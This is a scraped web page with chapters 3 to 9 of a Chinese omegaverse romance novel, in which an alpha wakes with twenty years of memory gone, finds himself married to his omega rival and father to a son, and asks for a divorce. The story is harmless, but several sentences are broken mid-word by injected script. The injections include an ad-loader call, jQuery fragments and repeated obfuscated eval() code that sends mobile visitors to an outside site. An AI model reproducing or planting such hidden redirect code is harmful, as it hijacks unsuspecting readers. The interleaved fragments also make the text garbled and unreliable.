《穿后和死对头已婚有崽》 3. 第 3 章 一切都是陌生的。 住的地方、身边的人、甚至是路边的街道,都陌生而遥远,像是另一个世界。 早晨出去时,蔺言还腻腻乎乎。 下午回来后,他望着别墅的眼神只剩下陌生和警惕,像是刚进入别人领域的兽类。 别墅里似乎布置过一番,还留着形状漂亮的气球和许多玫瑰花,似乎准备庆贺什么节日。 蔺言想起来,在医院时他妈说过,今天是他们结婚二十周年纪念日。 二十……年吗? “我们两个……住一起?” 苏明清已经疲惫至极,听见蔺言的询问,也没力气生气,只是抬眸看他。 被他的眼睛注视着,蔺言莫名其妙感觉到心虚。 可紧接着,他又想,他心虚什么? 苏明清道:“不然呢?我们结婚二十多年了,又不是形婚。” 蔺言欲言又止。 佣人早早候在一边,尽职道:“蔺先生,您的衣服……” 打进门起,蔺言依旧裹得严严实实,一点没有要换家居服的意思。 苏明清起身,径直走去,伸手想解他衣服扣子,没想到蔺言反应极大,比刚刚在车里还明显,几乎是跳着后退一步。 “你想干什么?!” 苏明清:“……” 望着蔺言贞洁烈男般的反应,苏明清又一次被气笑了,他缩回他的手,“阿姨给他帮个忙。” 蔺言连连道:“用不着别人,我又不是三岁小孩。” 他总算把身上的脏衣服脱了下来。 苏明清转身上楼。 蔺言懵了,看着苏明清头也不回的背影,“哎,你还没说我今晚睡哪!” 半个小时后,蔺言在沙发上躺下。 他总算有时间来缓一缓,整理目前的现状。 二十年后的世界,他的生活翻天覆地……尤其是,他居然和苏明清结婚了。 * “我要笑死了,他居然失忆,还有胆子把你给忘了?” 光脑另一旁,苏明清的好友叶烁然笑得前仰后合。 “等他恢复记忆一定死定了!” 苏明清揉了揉太阳穴,叹了口气,“准确来说,不是把我忘了,而是倒退回了二十年前,他认识我。” 叶烁然道:“医生说过什么时候能恢复没有?” 苏明清道:“医生说没检查到颅内有明显的创伤,暂时还不清楚,可能一下子就好了,也可能永远都好不了。” 叶烁然笑得更大声了。 倒也不是他多幸灾乐祸,而是他亲眼见过,在外面叱咤风云的蔺言,在苏明清面前是如何伏低做小,又是如何哄苏明清,看着这样的蔺言久了,猛不丁听说他捡起自尊,除了好笑就是好笑。 叶烁然问:“这不是正好吗?最近你不是因为工作的事情心烦吗?少了他缠着你,你也能清净清净。” 苏明清欲言又止。 “反正在他的记忆里,你们俩认识,又不太熟,能保持一定距离,刚刚好。” “事情要是真这么轻松就好了。” 叶烁然听出一点不对:“不是吧,你们俩以前怎么了?” 叶烁然认识苏明清的时间比较晚,在他认识这对夫夫时,蔺言俨然一副舔狗的形状了。 苏明清:“他以前,很讨厌我。” 叶烁然不可思议,“谁给他的狗胆?” 苏明清道:“我也很讨厌他。” 这就合理了。 叶烁然一脸新奇,“从来没听说过啊!” 他一时间不敢相信,看起来那么恩爱的两个人,才开始居然彼此厌恶。 “我知道了,你俩一开始走的欢喜冤家路线?”叶烁然猜测,“打是亲,骂是爱?” “冤家有,欢喜没有,”苏明清道,“打的话,我曾经在课堂上给了他一拳,把他的机甲砸出来了一个坑,这算是亲吗?” 叶烁然呆滞了一下。 “骂的话,”苏明清一顿,“他曾经说过,九大行星的omega死绝了,也不可能看上我这样的omega,算爱吗?” 叶烁然扶额:“……等等,你刚刚说他记忆倒退到什么时候了?” “二十年前。” “那时候你们两个的关系……” “差不多就是我说的那样。” “……” * 蔺言做了一个很混乱的梦。 说是梦也不贴切,倒不如说是他最屈辱的一次记忆。 那次是他们刚入学,蔺言所在的专业alpha扎堆,omega几乎绝迹。 苏明清的纯在几乎轰动了他们全专业,还没正式开始上课,他们专业有一个omega美人的消息就在流传。 蔺言对这些不太感兴趣,也耳闻过。 谁知道一开学,苏明清正好就在他们班。 起先蔺言并不知道苏明清是omega。 那天是实操课第一天,蔺言和好友进了教室,就看见以苏明清为圆心,他周围至少两排的位置空无一人。 现在社会讲究人人平等,但alpha和omega之间的区别还是很大,生理性的限制在,他们专业又都是一群没接触过omega的生瓜蛋子,向往但是又不敢真的靠近。 偏偏蔺言不长眼,没看见omega脖子后面的信息素贴,以为他也是alpha,看见他孤身一人,只以为他被孤立,想也没想就坐在了他的身边。 彼时他带着比本校高出整整二十分的文化课成绩,意气风发, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 深信自己总要为这个世界做点什么。 连他的朋友都在拉他。 蔺言不耐烦道:“怎么了,我就想坐这里。” 朋友冲他挤眉弄眼,他也全然没明白什么意思。 苏明清那时还没那么高高在上,听见他们的争执,还会扭过头来看他一眼。 蔺言冲他微笑。 两人对视一眼后,苏明清率先移开了视线。 蔺言扭头对着朋友道:“你看,坐这不是挺好的吗?这里又没传染病。” 他自以为体贴的行为,却换来了苏明清的一声嗤笑。 蔺言一愣,百思不得其解。 很快他就明白了苏明清为什么笑。 别人并不是厌恶苏明清才不坐在他身边。上课后老师第一个点名,告诉大家照顾苏明清,因为他就是他们专业里那个omega。 苏明清颇有礼貌,举起手告诉老师:“我不需要特殊照顾。” 课后,那些矜持了一节课的alpha,像是闻到骨头香的狗,都默默挪到了苏明清周围。 有个alpha抱着光脑,走到了蔺言身边。 蔺言抬头,不明所以。 “劳驾,让一让。” 蔺言:“……” 他看着这个alpha红着脸坐到了苏明清的身边,时不时瞥苏明清一眼,欲说还休。 蔺言扭过头,看见他朋友死死捂住嘴才没有笑出声。 …… 当天去了训练场,更是伤自尊。 苏明清操纵着机甲,在诸多学生生涩无比、好几次摔倒时,他已经能操纵着机甲在模拟太空场地转圈。 而蔺言,费劲力气成为他们班第二次成功操纵机甲站起来的人。 苏明清在空中转了一圈,尾部燃起的耗能扫过蔺言。 蔺言又一次跪了下去。 全班哄堂大笑。 简直憋屈到发指! 更恐怖的还在后面。 画面一转,他和苏明清各自下了机甲,眼前的苏明清看起来还是很年轻很青春的模样。 他走过去,牵住了苏明清的手。 然后,亲、了、他、的、手、背。 苏明清似乎习以为常,只眸色有一瞬间的波动,他听见自己的声音腻腻乎乎地喊:“老婆。” 蔺言是被吓醒的。 醒来之后,他庆幸这只是一场梦。 随后又看见苏明清从楼梯上下来。 ……现实比梦还糟糕。 苏明清直勾勾盯着他打量了片刻,随后移开视线,眼睛没有看他,嘴里却跟他说话,“收拾一下,今天要接小育回家。” “谁?” 苏明清神情微妙地注视了他片刻。 “我们儿子。” 4. 第 4 章 我们儿子。 们儿子。 儿子。 蔺言已经神情恍惚地站了很长时间,一直没回神。 彷佛这个冲击比他一睁眼醒来时间已经过去了二十年还要大,还要让他不能接受。 苏明清坐在他对面,两人在保姆车里等学校放学。 他的视线扫过蔺言的脸、双眼、坐姿笔挺的后背。 确实是变了点。 以前年轻,蔺言家训严格,每次苏明清见他,他都坐的板板正正,从来没有塌腰耸肩的时候。 现在工作的时间长了,在苏明清面前,疲惫时他会放松下来,坐起来没那么有坐像。 而不是像现在这样,每个肢体语言都写满了抗拒。 蔺言也在用余光看苏明清。 搞什么?这人看他这么放肆吗? 哦,他们现在是夫妻。 夫妻就能肆无忌惮地这么看对方吗? 在蔺言的印象中,苏明清很少拿正眼看人,他比很多好学生都要孤傲,身边没什么朋友,独来独往。 简直是个异类。 别的omega不说温柔小意,说话做事也是和和气气的,不会在人前表现出粗鲁的一面。 他们大部分学习的专业都是艺术类、语言类,或者其他体力要求不高、说出去体面的专业,而不是和一堆alpha混在一起。 学习好、孤傲冷僻、争强好胜、性格差劲,是蔺言对苏明清的所有印象。 车内尴尬的氛围还在蔓延。 蔺言发现,他不说话,苏明清也不说话,这倒是和他认识的苏明清重合了起来。 看来这二十多年,苏明清的性格也没变多少。 正出神,苏明清突然开口:“为什么一直看着我?” 突然被抓包,蔺言有点尴尬,嘴硬道:“谁看你了,我没看。” 苏明清莫名笑了一声。 记忆倒退回二十年前,果然是熟悉的死样子。 其实如果不是这次蔺言失忆,苏明清都快忘记了他们最开始认识 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13935561|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时的情形。 那时候他对蔺言的印象说不上好,也说不上差。 他觉得这个人似乎有点英雄主义,见到什么人都想帮一帮,不管这个人男女老少、高矮胖瘦,只要是陷入困境中的人,他都能无私地伸出自己的援手。 苏明清觉得这样不辨是非、不了解前因后果就贸然介入事情中,非常傻。 他曾经是不会欣赏的人,后来经历过一些事情,才慢慢觉得,其实这种冲动也别有一番可爱之处。 蔺言也有很多年没在他面前露出过刺头的模样。 苏明清其实不太能理解,蔺言在对待别人时,都是开朗温和,偏偏对他时横眉冷对,鼻子不是鼻子眼不是眼。 久违地看见蔺言这副嘴脸,倒是新奇。 “爸爸!” 在两人沉默时,蔺育澜直接把他的脸贴在了窗户上。 蔺言被吓了一跳。 陌生的小脸,结合了苏明清和蔺言的基因,带着一种既熟悉又陌生的感觉,映入蔺言眼中。 5.第 5 章 清晨,别墅里静悄悄,安静到能听清窗外鸟扑闪翅膀的声音。 蔺言起床后打开门,在走廊中不知去哪。 路过的佣人看见他,连忙上前,“蔺先生,您怎么不摁铃?” 蔺言愣了一下,才想起来床边似乎有呼叫铃,原来是叫佣人的。 “苏先生在今早离开前,特意给厨房吩咐了几道新花样做给您尝,您用餐吗?” 蔺言表情一言难尽,苏明清给他准备早餐? 他能有这么体贴? 几分钟后,蔺言坐在一楼餐厅,盯着眼前的食物无语凝噎。 “这是……”他夹起其中一道菜。 佣人微笑着道:“猪脑。” “这个?” “鸡脑。” “这是?”蔺言及时制止,“好了不用说了,我能猜到。” 肯定又是某种动物的脑子。 蔺言扯了扯嘴角,皮笑肉不笑,“以形补形是吗?” 佣人垂头不敢说话。 小夫妻的情趣归情趣,他们这些外人还是要有分寸。 蔺言想象着这是苏明清身上的某个零部件,嚼得很用力。 他昨天说什么来着。 根本没办法和苏明清一起生活。 蔺言嚼着嚼着,有了念头,问道:“苏明清和孩子都去哪了?这能告诉我吗?” “当然可以,蔺先生,”佣人道,“苏先生今早出门去应付媒体,蔺少爷有补习班,早早送去,中午都能回来一起吃饭。” 嘴中的食物瞬间更加难以下咽。 恰逢这时,窗外飞过一群鸟,蔺言盯着它们飞过去,缓缓放下手中的筷子。 怎么回事,明明是自己家,却有种被困住的感觉。 还不如鸟自在。 * “关于蔺先生的病,”医生拿着片子给苏明清看,“经过医院仪器精密的测量,基本上不会危急生命。” 本该在某新闻发布会上的苏明清,早早出现在了医院。 他面前是蓝星著名神内科专家。 在听到医生的结论后,苏明清沉默片刻。 “我是想问,失忆有没有那种作用。” “什么?” “类似醉酒之后,酒后吐真言。” “您的意思是,蔺先生做了什么事情吗?” “他……”苏明清罕见地卡顿了一下,“他不愿意和我在一个房间睡觉。” 说出第一句来,剩下的就好说了,“他还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010257|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躲避我的触碰。” “我对他毫无吸引力,信息素似乎也不奏效。” 苏明清一向平静的脸上,出现了一些真实的疑惑,像是面具裂开了缝隙,“他以前看见我,就像是狗看见了肉骨头,赶都赶不跑,我不让他进房间,他能在走廊里打地铺。” 医生哑然失语。 万万没想到,外界形象成熟稳重的蔺言,在私底下竟然这样。 他犹豫片刻,“这个、这个嘛……” 苏明清冷着脸,“你尽管直言。” “目前已有的撞击伤病例之中,倒是也有这样的先例,有些人在失忆后还可能性情大变,不喜欢以前喜欢的东西,甚至出现攻击行为。” 苏明清若有所思,“你的意思是说,蔺言现在的情况,算好的?” 医生:“……”我可没这么说。 医生:“您要是愿意这么理解,也行。” 苏明清闭眼,深吸一口气。 再次睁开眼,情绪都已经被调整平复,语气还是阴恻恻的,“我再忍他几天。” 医生莫名背脊一凉。 怎么回事。 明明在外界的传说中,蔺言家里有位“贤内助”,可亲眼见了,比蔺言本人还吓人。 6.第 6 章 死寂。 像死一样的寂静。 他扭过头,半敛的眼睛定格在蔺言脸上。 蔺言瞬间感觉一股寒意顺着脊骨窜过,浑身的汗毛刹那间竖了起来,像是猫科动物察觉到危险来临时的应激反应。 “你说,”苏明清盯着他,“什么?” 蔺言的嘴像是不受控制,语速极快,“没说什么。” 但苏明清已经听见了。 并且,听得清清楚楚。 苏明清淡淡道:“再说一遍。” 这次,蔺言是死活也开不了口了。 他僵在原地,一点也不像是狗,倒像是被吓到应激木僵的兔子。 苏明清冷笑:“我还当你失个忆,胆子变得有多大。” 这句话又把蔺言的胆子激了起来。 他不知道二十年后的自己和苏明清是怎么相处的,但他并不认可怕苏明清怕得要死的自己。 这也是他想和二十年后的自己割席的原因。 太丢人了。 他怎么能像条……狗一样,追在苏明清身后? “让我再说一遍是吧?那你听好了。”蔺言道:“我想离婚,我不习惯和你一起生活,实际上在我的记忆里,我们上午还在训练场打架!你把我的脸都打青了,我感觉我的颧骨还疼着,结果没几个小时就有一堆人告诉我我们结婚了,这真的太荒谬了,你能想象出来吗?” 这种场景下,苏明清竟然还笑了一下。 不知道是被蔺言的话给逗笑的,还是觉得面前的场景确实够荒谬,够荒唐。 他的手轻轻垂下,无名指的戒指隐匿于昏暗的卧室中。 光线太暗,没看清蔺言手上是否也佩戴戒指。 “如我刚刚所说,我认为我和二十年后的我是两个人,并不是我想逃避责任,我会照顾我们的孩子,但是你……” 苏明清想,因为他们没有血缘关系,所以他是比较容易被割舍掉的。 蔺言道:“我也想对你负责任,但是你能想象到,和一个没有感情的人拥抱、接吻……甚至是上床吗?” 苏明清的脸色瞬间发生了动荡。 他牢牢盯着蔺言,心中不知想什么,脸色犹如他手上的戒指,幸好有窗帘,不至于太狼狈,太愤怒。 蔺言的话,像是有前摇的一巴掌。 苏明清有所准备,不是很意外,但还是疼。 “我也很想对你负责,可我做不到,现在的科技发达,不是能清洗标记吗?你还年轻……” “够了。”苏明清打断他。 蔺言说都说了,这时候也没什么好害怕的了。 其实苏明清还是讲道理的,他以为苏明清会直接一拳头砸过来。 蔺言道:“你还年轻,又漂、漂亮,这样的omega一大把人要,二婚也不困难。” 再说了,不少人都说,AO互相标记之后,都会因为信息素深度绑定,会变得离不开彼此。 他也没感觉到啊,似乎也还好。 “好啊。”苏明清启唇。 蔺言一愣,差点没反应过来,“什、什么?” “离婚啊,很意外?”苏明清讥讽,“你以为我会挽留?” 他承认,他是被这个蔺言给气疯了。 本来不该和失忆的人计较,但失忆不是免死金牌,苏明清拳头都开始痒痒了。 蔺言则是有种不真实的虚空感。 不是,就这么轻易答应了? 所以就算他们结婚二十年,感情也没特别好吧! 蔺言压下自己心里的一丝不适,“你认真的?没开玩笑?要不你再想……” “我从来不开这种玩笑,”苏明清没控制力道,掼开卧室门,“你最好别后悔。” 蔺言道:“我怎么可能后悔?” …… “他怎么可能提离婚?!” 叶烁然简直要捂头尖叫了。 苏明清坐在他面前,桌子上摆着一杯喝了半瓶的红酒、分毫未动的牛排。 “话说,”叶烁然小心翼翼,“你不会真要分吧?应该只是说气话吧?” 苏明清不置可否,“如果他坚持的话。” “别啊,你也知道,他是病了,”叶烁然已经嗅到了星球大战的味道,“而且还是脑子有病。” 苏明清若有所思,指尖摩挲着手上的钥匙,“也许不是脑子有病,是酒后吐真言呢?” 叶烁然看见他的动作,心想难得见他生这么大气。 只有气到极致时,才能看见苏明清摸婚戒冷静。 “怎么可能,”叶烁然听出来了他的意思,他是害怕现在这一切,是蔺言真实所想,“你老公你还不了解,但凡能允许,他早就往自己脖子里挂项圈拴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14050390|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上狗链递你手里了,现在跟你提离婚,顶多是……年少无知?” 苏明清:“……” 他又喝了一口酒。 “说真的,现在时局动荡,我身边就没几个结婚生孩子的,就算结婚生子,也都是一地鸡毛,你和蔺言一没经济烦恼,二没第三者插足,小孩还听话,没必要赌气,我看你是被蔺言给宠久了,他稍微傻缺一点你就受不了。” “我还年轻,”苏明清忽然道,“还是个长得漂亮的omega。” 叶烁然一愣,“什么?” “他对我提不起兴趣,连拥抱接吻都做不到,”苏明清道,“如果我二婚的话,有大把人会要我。” 他道:“蔺言原话。” 叶烁然:“……” “说真的,”叶烁然沉默片刻,“你扇他没?” “差点动手。” “……” 夜凉如水。 秋季的夜晚,已经有了冬天的味道,清洁工早就下班,金黄色的叶子浅浅铺了一层,倒是让苏明清看见了秋天难得的美景。 苏明清盯着路灯,忽然想起有一年,似乎也是这样的天气,他走在前面,蔺言跟在他后面。 彼时蔺言已经在电视台上露面,他不想让蔺言和自己凑太近,于是蔺言就只能可怜巴巴地当他的尾巴。 他抬脚时,鞋子在落叶上踩出一个个脚印。 转过身,蔺言正就着他的脚印,也一个个踩过来。 他还记得那天蔺言穿了一件长长的黑色风衣,黑色里衬,脖子点缀了一条白色围巾,头发做过造型,整体庄重又年轻。 他知道自己帅,还对着苏明清眨了眨眼。 秋天其实也没那么讨厌。 口袋里的手机震动,苏明清被拽回现实,点击接通。 蔺育澜的脸出现在屏幕上,与之而来的是他叽叽喳喳的声音。 “父亲,你什么时候回家?” “马上,预计半个小时,怎么了?” “没什么,”蔺育澜似乎往后瞥了一眼,又走了几步,悄声问,“父亲,爸爸什么时候有我们不认识的朋友?他叫了个陌生人来家里。” 镜头往后,将沙发上的蔺言和另一人囊括其中。 苏明清看了一眼,轻“啧”。 真行。 绝交二十年的朋友都能往家领了。 7.第 7 章 “贸然把你叫来,实在是不好意思。” 蔺言给对方端了杯水,放在他面前。 事情还要从下午苏明清离家后说起。 在苏明清走后,蔺言觉得既然苏明清已经同意,那么告诉父母也无妨。 于是就把他想和苏明清离婚的事情说了。 结果受到了一顿狗血淋头的大喷特喷。 毫不夸张讲,蔺言长这么大,就没见过他父母发这么大的脾气。 最后更是撂下一句:“你冻死在外面也别想回家。” 直接挂了电话。 蔺言懵了。 再打电话过去,怎么着都打不通。 他从来没想过,有朝一日他爸妈会叛变,完全站在外人那一边。 现在的情况就是:如果他和苏明清离婚,那么他将露宿街头。 如果苏明清还有良心的话,离婚后分他部分财产,那他婚后还有地方住。 不过就苏明清冷冰冰的样子,够呛。 还剩下一条路就是:不离。 这和杀了他有什么区别。 于是蔺言绝处逢生,找出来第三条路。 以前的老同学老朋友的,现在二十年过去,肯定都事业有成,接济他一段时间总没问题吧? 大家当初关系那么好…… “我知道我们当初关系是挺好,”其中一个喝了口茶,幽幽道,“但是你结婚后,已经很久没联系过我,我现在也结婚生孩子了,你总不能和我们一家三口住吧?” 蔺言尴尬:“那是不行。” 第二个保留了一些情面,“你想住多长时间?” “两个……”蔺言观察对方的表情,紧急改口,“一个月?半个月?” 对方叹口气:“蔺言,不是我不帮你,现在大家都是成年人了,各有各的生活,你要住几天还行,住这么长时间,没人能受得了。” “那一星期?” “我最多接受三天吧。” “……” 还有一些根本叫不来的。 快到了晚上,肯和蔺言见面的,也就这两个。 还没出过社会的蔺言,三观受到了深深的打击。 就连看见苏明清站在门口也没反应。 告状的蔺育澜早早扑了过去,“父亲!” “乖,”苏明清摸了摸他的头,“你的家教老师快到了,这种时候你一般都在干什么?” 蔺育澜瘪了瘪嘴,“知道了。” 他哒哒哒上楼了。 苏明清的视线在客厅茶几上扫过,两碗冷茶水静悄悄摆着,像蔺言凉透的心。 “到底为什么?”蔺言喃喃自语,“当年大家关系不都很好吗?聚餐的时候还说过要一起实现理想,怎么二十年过去,连让我住几天都不肯?” 原来打的是这个主意。 苏明清淡淡道:“我和你说过,人和人之间最重要的不是感情,是利益。” 二十年前的话,他居然也还记着。 蔺言还嘴硬:“这就是我和你不是一路人的根本。” “嗯,我们不是一路人,”苏明清淡淡嘲讽,“那你的那些好兄弟们呢?怎么一个愿意接济你的都没有?” 蔺言:“……” 他就说听苏明清说话来气吧。 不,还有一个人。 蔺言精神一震。 这个人和他的关系最好,怎么就没想起来呢? “不管你现在在想什么。”苏明清直起身,慢慢走向他,“你知道你现在什么身份吗?” 苏明清道,“你又知道,如果我们离婚的事情传出去,对你会有什么影响吗?” 蔺言一僵,他忽略掉了这个问题。 就像他理所当然的以为,从前的朋友会接纳他一样,也从来没按二十年后的身份行事。 苏明清道:“我以前从来不知道,你还是个顾头不顾尾的蠢东西。” 蔺言:“我警告你,不许再骂我了!” “你的警告有什么用?” “我……我……” 蔺言窝囊的发现,他的警告还真没什么用。 苏明清把全息电视打开,“现在该我警告你才对。” 电视一下子出现今天发生的诸多新闻。 苏明清掠过他,与他擦肩而过,“别往家里带人了,我还要给你善后。” 蔺言道:“我也没让你给我善后啊,而且我根本没和他们提离婚的事情。” 但都说去别人家住了,谁猜不出来? 蔺言还在嘴硬而已。 “我也不想帮你善后,”苏明清嘲讽,“只是谁让你占着我丈夫的身体,我总不能让你毁了我丈夫的声誉吧?” 在苏明清上楼后几分钟,蔺言还愣在客厅里。 空气中除了omega信息素的味道,还有一股若有若无的红酒冷香。 苏明清喝酒了? 明明是蔺言跟他说的,让他把二十年前的他和二十年后的他区分开,等苏明清真的区分开了,他又觉得自己浑身不舒服。 好像他是什么窃取别人躯壳的小偷。 全息电视上,新闻轮番播报后,终于露出苏明清的脸。 “苏先生,请问您这次露面参加慈善,是因为蔺先生伤重无法出现在大众面前吗?” “外界对于蔺先生的猜测沸沸扬扬,蔺先生的工作也全面暂停,请问你们夫夫二人会对此做出回应吗?” 苏明清微微一笑,以一种得体又迂回的方式,将这些咄咄逼人的问题岔开。 不知道为什么,明明他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14093873|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 应对的很从容。 蔺言还是在他脸上看出来一些不开心。 ……苏明清今天是对的。 他不应该那么高调的联系旧同学。 搞得好像要全世界都知道他们要离婚。 * 从二楼的露台,能看见蔺言在花园中走来走去,像一只被困住的猎犬,焦躁但又保持着风度。 他打了好几个电话又挂断,似乎没人接。 苏明清也不知是气是笑,哼一声。 耳边响起叶烁然跟他说过的话。 “你就当他是老年痴呆呗,一般脑子得病的不都这么气人吗,我听说老年痴呆得了以后也是性情大变,还会打人,更炸裂的还有拿着屎丢,和这一比,蔺言是不是好多了?” 苏明清揉了揉太阳穴,叹了口气。 这叫什么事,谁家结婚二十周年有他们这么倒霉。 他们卧室里,蔺言留下的信息素越来越少。 现在只能凑近闻他睡过的枕套,还残留着一点甘松的味道。 苏明清伏在上面,终于能放松下来。 他就着这一点甘松气味睡着了。 * 联系上老友是在后半夜了。 说来也奇怪,当年蔺言和他关系最好,结果二十年后,反倒是他的联系方式最难找,四处打听时,别人一听说他要对方的联系方式,都含糊其辞,不肯给。 最后还是今天到家里的那个朋友给的。 给他时,也是一脸的一言难尽。 电话有段时间才被接听。 “喂?”对面传来个不耐烦的声音。 蔺言沉默一下,才出声:“是我。” 对方停顿了片刻,接着挂断了。 蔺言:“……” 再打过去,怎么也打不通了。 与此同时,另一间主卧。 苏明清的手机震了震。 苏明清被手机震动的声音吵醒,迷迷糊糊看了一眼。 [怎么回事?你老公大半夜不睡觉给我打什么电话?你们吵架了?] 苏明清精神了一点:[你是……] 对方不再回复了。 又沉默了一会儿:[你连我号码都没存?] 苏明清彻底醒了,能用这种语气跟他说话的人没几个,稍微一想就知道是谁。 [蔺言联系你了?] [我们没吵架,事情有点复杂,你别搭理他。] 对方没再发消息过来。 苏明清睡不着了。 片刻后,他的手机再次传来讯息。 [晚了,他招惹我,我总得看看怎么回事。] [是不是和你生活了这么多年,生活够了,终于想把你让给我了。] 苏明清:…… 8.第 8 章 街边某家下午茶餐厅里,蔺言安安静静坐着,面前的位置空悬。 也不是真的安静,期间他拒绝了好几个意图讨要联系方式的omega。 宿子秋姗姗来迟。 他丝毫没有迟到的愧疚,施施然坐在了蔺言面前,一瞬间蔺言没认出来他。 “你是……” 宿子秋轻“啧”一声:“不是吧你?” 蔺言诧异:“宿子秋?” 宿子秋面无表情地注视着他。 一瞬间,陌生的装扮和略带熟悉的脸,把蔺言拉回了他记忆中不久前。 在他出车祸前,就是宿子秋喊他出去,原本他们两个应该在一起吃饭。 早晨两人在学校里见面,宿子秋坐在他旁边,和他对昨天的课堂笔记。 这人做事一向循规蹈矩,就连笔记里的直线都画得格外直。 蔺言的和他放一起,字体龙飞凤舞,潦草得令人看不清。 这人变化实在太大。 和蔺言记忆中的人完全对不上号。 他和宿子秋高中起就认识,在同一所高中考上的大学,宿子秋一直都是非常直男体育生的打扮——短袖卫衣黑色羽绒服穿一年四季。 什么时候变这么潮了? 蔺言没什么潮人恐惧症,就是觉得陌生,半天才开口:“……你去整容了?” “我就知道你说不出什么好话,”宿子秋道,“说吧,找我出来干什么?” 还是熟悉的感觉。 经过昨天一遭,蔺言也长了心眼,知道不能上来就说明目的,好歹先联络一下感情。 两人心思各异。 “也没怎么,”蔺言道,“就是想起你来,问问你近况。” “你问我?”宿子秋一脸“你在开玩笑吧”。 蔺言点了点头。 不知道为什么,宿子秋一脸吃了苍蝇似的表情,五官都拧在了一起。 “算了,”宿子秋清咳,“最近……苏明清怎么样?” 蔺言奇怪,怎么上来就先问苏明清? 以前他们俩不是不熟吗? 他想,既然他和苏明清结婚,宿子秋身为他的好朋友,理应和苏明清认识。 他手机里没有宿子秋任何的联系方式,说明他和宿子秋闹掰得还挺尴尬。 宿子秋关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14105190|147645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心苏明清,也不是说不过去。 他道:“还行?” 宿子秋立刻怒了,“什么叫还行?你对你老婆好不好,你老婆每天吃几碗饭,心情好不好,你不知道?你以前不是最爱跟我炫耀这些?” “这我哪能一天二十四小时盯着他?”蔺言震惊,都不知道该吐槽以前的自己还是吐槽老友,“而且我老婆,你问这些干什么?” 宿子秋像是被触碰到了逆鳞,拍桌子起身,“蔺言!你是不是跟明清吵架了?!” 眼见他像是动了真怒,蔺言一头雾水 “不是,等等,你生这么大的气干什么?我跟你说实话吧。” 蔺言实在猜不透他们之间发生了什么,索性都招了。 只说他车祸的事情、失忆的事情,隐去了离婚暂且没提。 “车祸?”宿子秋顿感荒唐,“失忆?” 他不知是气是笑,“你在跟我开玩笑吗?” 要说蔺言失忆后最大的感受。 就是他好像成了古早狗血电视剧里的傻白甜主人公小O,被各种质疑,还要坚韧不拔地一次次解释。 可他明明是alpha! 9.第 9 章 因为主人喜静,蔺家别墅一般都是静悄悄的,没人发出特别大的声响。 而今天在别墅的某个角落里,主人打破了惯例。 “我不是让你离蔺言远点吗?”苏明清质问。 宿子秋面对他时,没对着蔺言的漫不经心,有几分小心翼翼被隐藏在玩世不恭的笑容中。 “我远离他了啊,我是来找你的。” “找我?”苏明清皱眉,“找我干什么?” 宿子秋道:“找你联络联络感情。” 苏明清:“……” 秋风缓缓吹动,两人身旁的灌木丛晃动了两下,他们都没发现。 “宿子秋,”苏明清神色冷凝,“我不是你那些可以随便拿来取笑的对象,第一,我结婚了,第二,就算我没结婚,我也不喜欢和人随便发展露水情缘,听明白了吗?” 灌木丛晃动的声音更大了。 苏明清猛地扭过头去,身前的宿子秋却缓缓逼近,距离他十厘米的地方停住。 